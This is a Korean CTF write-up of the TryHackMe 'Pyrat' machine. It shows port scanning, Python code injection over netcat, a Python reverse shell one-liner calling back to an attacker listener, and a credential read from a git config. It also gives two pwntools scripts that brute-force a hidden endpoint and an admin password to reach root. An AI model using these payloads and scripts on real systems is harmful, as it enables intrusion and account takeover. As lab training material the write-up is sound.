*https://tryhackme.com/r/room/pyrat
Pyrat
Test your enumeration skills on this boot-to-root machine.
tryhackme.com
Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application's older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.
-Pyrat은 HTTP Server를 통해 흥미로운 응답을 받으며, 잠재적 Python code execution 취약점이 존재.
-credential은 잘 알려진 폴더에 존재.(.well_known 을 의미하는 것일 수도 있다고 봄.)
-이전 버전 application에서 인사이트를 얻을 수 있음.
-특별한 엔드포인트가 존재, fuzzing을 통하여 비밀번호 추측.
-스크립트는 비밀번호를 공개하여 root에 대한 액세스 권한을 부여
1.Port Scan Enumeration - Reconnaissance&Scanning
$ sudo rustscan -r 1-65535 -a pyrat.thm -- -sS -sV -O
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.146.16:22
Open 10.10.146.16:8000
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
8000/tcp open http-alt syn-ack ttl 60 SimpleHTTP/0.6 Python/3.11.2
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=10/16%Time=670EF3EF%P=x86_64-pc-linux-gnu%
...
SF:x20null\x20bytes\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (93%), Linux 3.11 (93%), Linux 3.2 - 4.9 (93%), Linux 3.5 (93%), Linux 3.7 - 3.10 (93%)
-22(ssh), 80(http)번이 열려있습니다.
→22번: OpenSSH 8.2p1 Ubuntu
→8000번: SimpleHTTP/0.6 Python/3.11.2
2.Access Http Server - Gaining access
-아무래도 HTTP 연결이 아닌, TCP/UDP 연결을 시도해야 할 것 같아 아래와 같이 netcat으로 해당 서버에 연결을 해보았습니다.
$ nc pyrat.thm 8000
print("a")
a
-처음에는 아무 응답이 없어서 이 연결이 아닌가 싶었는데, 이 문제 전에 'breakme' 라는 문제에서 python sandbox breakout 파트가 있던 것을 생각하여 print("a") 구문을 삽입했고, python interactive shell에서 실행한 것처럼 "a"라는 결과가 출력되는 것을 확인했습니다. 즉 해당 포트에서 수행하는 서비스는 python 구문을 실행하는 서비스라고 추측할 수 있습니다.
$ nc pyrat.thm 8000
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['sys'+'tem']('/bin/bash')
512
-위 구문은 __buitins__를 이용한 "import os; os.system('/bin/bash')" 구문으로, /bin/bash 실행이 된 것 같아 보이지 않았습니다. 이외에도 /bin/bash 실행 구문을 삽입해보았지만 대부분 "512"를 반환하고 쉘 변환이 되지는 않았습니다.
$ nc -nvlp 4444
listening on [any] 4444 ...
$ nc pyrat.thm 8000
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("my_host",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
$ nc -nvlp 4444
listening on [any] 4444 ...
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
-혹시 실행이 되긴하나 실행 결과를 단순 출력하는 것이라면 쉘로 변환이 되지 않을 수 있을 것 같아 reverse shell 구문을 시도해보았고, 연결에 성공하였습니다.
3.www-data -> think - Privilege Escalation
$ ls -al /home
total 12
drwxr-xr-x 3 root root 4096 Jun 2 2023 .
drwxr-xr-x 18 root root 4096 Dec 22 2023 ..
drwxr-x--- 5 think think 4096 Jun 21 2023 think
$ cd /opt
$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Jun 21 2023 .
drwxr-xr-x 18 root root 4096 Dec 22 2023 ..
drwxrwxr-x 3 think think 4096 Jun 21 2023 dev
$ cd dev
$ ls -al
total 12
drwxrwxr-x 3 think think 4096 Jun 21 2023 .
drwxr-xr-x 3 root root 4096 Jun 21 2023 ..
drwxrwxr-x 8 think think 4096 Jun 21 2023 .git
$ git status
fatal: detected dubious ownership in repository at '/opt/dev'
To add an exception for this directory, call:
git config --global --add safe.directory /opt/dev
-/home에는 think라는 사용자 디렉터리가 존재하는 것을 확인하였고, /opt 아래에는 dev 디렉터리가, 그 아래에는 .git 디렉터리가 존재함을 확인했습니다.
-git 정보 출력하려 했으나, 리포지터리 '/opt/dev'에 관한 소유권 제한이 걸려있습니다.
$ cd .git
$ ls -al
total 52
drwxrwxr-x 8 think think 4096 Jun 21 2023 .
drwxrwxr-x 3 think think 4096 Jun 21 2023 ..
drwxrwxr-x 2 think think 4096 Jun 21 2023 branches
-rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think 296 Jun 21 2023 config
-rw-rw-r-- 1 think think 73 Jun 21 2023 description
-rw-rw-r-- 1 think think 23 Jun 21 2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21 2023 hooks
-rw-rw-r-- 1 think think 145 Jun 21 2023 index
drwxrwxr-x 2 think think 4096 Jun 21 2023 info
drwxrwxr-x 3 think think 4096 Jun 21 2023 logs
drwxrwxr-x 7 think think 4096 Jun 21 2023 objects
drwxrwxr-x 4 think think 4096 Jun 21 2023 refs
$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = _T---------------_
-여러 파일을 찾아보다 think와 관련된 password를 발견했습니다.
*문제 자체에 명시된 힌트가 많이 도움이됩니다.
$ ssh think@pyrat.thm
think@pyrat.thm's password:
think@Pyrat:~$ whoami; id
think
uid=1000(think) gid=1000(think) groups=1000(think)
-해당 password를 통해 SSH로 think에 접근하면 로그인에 성공함을 알 수 있습니다.
4.think -> root - Privilege Escalation
think@Pyrat:~$ cd /opt/dev
think@Pyrat:/opt/dev$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: pyrat.py.old
no changes added to commit (use "git add" and/or "git commit -a")
think@Pyrat:/opt/dev$ git restore pyrat.py.old
think@Pyrat:/opt/dev$ ls -al
total 16
drwxrwxr-x 3 think think 4096 Oct 17 23:54 .
drwxr-xr-x 3 root root 4096 Jun 21 2023 ..
drwxrwxr-x 8 think think 4096 Oct 17 23:54 .git
-rw-rw-r-- 1 think think 753 Oct 17 23:54 pyrat.py.old
-think로 로그인 후 /opt/dev 리포지터리로 이동하여 git 정보를 살펴보면 pyrat.py.old가 삭제되었던 것을 알 수 있습니다.
-힌트에서도 이전 버전 application에서 인사이트를 얻을 수 있다고 했으니 해당 파일을 git restore를 통해 복구하였습니다.
think@Pyrat:/opt/dev$ cat pyrat.py.old
...............................................
def switch_case(client_socket, data):
if data == 'some_endpoint':
get_this_enpoint(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0):
change_uid()
if data == 'shell':
shell(client_socket)
else:
exec_python(client_socket, data)
def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0)
os.dup2(client_socket.fileno(), 1)
os.dup2(client_socket.fileno(), 2)
pty.spawn("/bin/sh")
except Exception as e:
send_data(client_socket, e
...............................................
-interactive shell에서 "shell"입력하여 /bin/sh 실행이 가능했다는 것과 어떠한 문자열을 입력하면 get_this_enpoint 함수를 실행하도록 설정되어 있다는 것을 알 수 있습니다. 이것이 힌트에서 말한 특별한 엔드포인트인 것 같습니다. 다음 과정과 관련된 힌트도 fuzzing을 통한 비밀번호 추측인 것 같으니 socket 연결을 통해 brute force를 하는 python script가 필요합니다.
# endpoint_brute.py
from pwn import *
import sys
def brute(wordlist):
try:
with open(wordlist, 'rb') as file:
words = file.read().splitlines()
p = remote("pyrat.thm", 8000)
for word in words:
p.sendline(word)
rev = p.recvline()
if((b'invalid' not in rev) and (b'define' not in rev) and (rev != b'\n')):
print(f"Transfer : {word}")
print(f"Receive : {rev}")
except FileNotFoundError:
print(f"File doesn't exist: {file_path}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("python endpoint_brute.py <wordlist>")
else:
file_path = sys.argv[1]
brute(file_path)
-socket 모듈을 이용해도 되지만, 저는 조금 더 익숙한 pwntools 모듈을 사용하여 구현했습니다.
-인자로 사전대입을 수행할 파일을 받고 해당 파일의 내용을 '\n'을 기준으로 나누어 배열 형태로 저장 한 후 반복문을 통해 netcat brute force를 진행하는 형태입니다.
-이때 조건으로 'invalid', 'define'이 응답에 들어있거나 '\n'만 응답한다면 출력하지 않는 형태로 제작하였습니다.
$ python3 endpoint_brute.py /usr/share/wordlists/dirb/common.txt
[+] Opening connection to pyrat.thm on port 8000: Done
Transfer : b'~bin'
Receive : b"bad operand type for unary ~: 'builtin_function_or_method'\n"
Transfer : b'~sys'
Receive : b"bad operand type for unary ~: 'module'\n"
Transfer : b'01'
Receive : b'leading zeros in decimal integer literals are not permitted; use an 0o prefix for octal integers (<string>, line 1)\n'
Transfer : b'02'
Receive : b'leading zeros in decimal integer literals are not permitted; use an 0o prefix for octal integers (<string>, line 1)\n'
Transfer : b'03'
Receive : b'leading zeros in decimal integer literals are not permitted; use an 0o prefix for octal integers (<string>, line 1)\n'
Transfer : b'04'
Receive : b'leading zeros in decimal integer literals are not permitted; use an 0o prefix for octal integers (<string>, line 1)\n'
Transfer : b'05'
Receive : b'leading zeros in decimal integer literals are not permitted; use an 0o prefix for octal integers (<string>, line 1)\n'
Transfer : b'06'
Receive : b'leading zeros in decimal integer literals are not permitted; use an 0o prefix for octal integers (<string>, line 1)\n'
Transfer : b'07'
Receive : b'leading zeros in decimal integer literals are not permitted; use an 0o prefix for octal integers (<string>, line 1)\n'
Transfer : b'08'
Receive : b'leading zeros in decimal integer literals are not permitted; use an 0o prefix for octal integers (<string>, line 1)\n'
Transfer : b'09'
Receive : b'leading zeros in decimal integer literals are not permitted; use an 0o prefix for octal integers (<string>, line 1)\n'
Transfer : b'admin'
Receive : b'Start a fresh client to begin.\n'
Transfer : b'host-manager'
Receive : b"unsupported operand type(s) for -: 'str' and 'SyncManager'\n"
$ nc pyrat.thm 8000
admin
Password:
-실행 결과를 살펴보면 'admin'을 전송했을 때 상대적으로 유의미한 결과를 얻을 수 있었고, 직접 접속해보니 "Password: " 창을 띄우는 것을 보고 여기에 brute force를 해야한다는 것을 알 수 있었습니다.
# brute_pass.py
from pwn import *
import sys
def pb(cv, pass_list):
cv.sendline(b'admin')
ct = 0
for pw in pass_list:
cv.sendafter(b'Password:', pw)
res = cv.recvline()
if(res != b''):
print(f"Transfer: {pw}")
ct += 1
if(ct == 3):
cv.sendline(b'admin')
ct = 0
def brute(wordlist):
try:
with open(wordlist, 'rb') as file:
words = file.read().splitlines()
p = remote("pyrat.thm", 8000)
pb(p, words)
except FileNotFoundError:
print(f"File doesn't exist: {file_path}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("python brute_pass.py <wordlist>")
else:
file_path = sys.argv[1]
brute(file_path)
-'admin' 명령의 특징은 한 번 전송하면 3번까지 비밀번호를 시도할 수 있고, 3번의 시도가 모두 실패한다면 다시 'admin' 명령을 전송해야 합니다. 따라서 ct라는 카운터 변수를 활용해 3번 시도 후 다시 'admin'을 전송하도록 설계하였습니다.
-나머지는 endpoint_brute.py와 같은 과정으로 비밀번호를 brute force 합니다.
$ python3 pass_brute.py /usr/share/wordlists/rockyou.txt
[+] Opening connection to pyrat.thm on port 8000: Done
Transfer: b'123456'
Transfer: b'12345'
Transfer: b'123456789'
Transfer: b'password'
...
Transfer: b'a------------'
-a로 시작하는 어떤 비밀번호에서 멈추었습니다. 일단 무엇인가 다르다는 것이므로 저는 바로 Pasword에 a------------을 입력했습니다.
$ nc pyrat.thm 8000
admin
Password:
a------------
Welcome Admin!!! Type "shell" to begin
shell
# whoami
whoami
root
-a로 시작하는 해당 문자열이 비밀번호였고, root 권한을 얻을 수 있었습니다.
Flag
user.txt
think@Pyrat:~$ cat user.txt
996--------------------------705
root.txt
# cd /root
cd /root
# whoami; id
whoami; id
root
uid=0(root) gid=0(root) groups=0(root)
# cat root.txt
cat root.txt
ba5e-------------------------221
'write-up > penetration test' 카테고리의 다른 글
[wargame - pen]HA Joker CTF (1) | 2024.12.13 |
---|---|
[wargame - pen]Cheese CTF (0) | 2024.10.29 |
[pen]Wekor (4) | 2024.10.05 |
[pen]U.A.Highschool (2) | 2024.09.13 |
Tokyo Ghoul (0) | 2024.06.29 |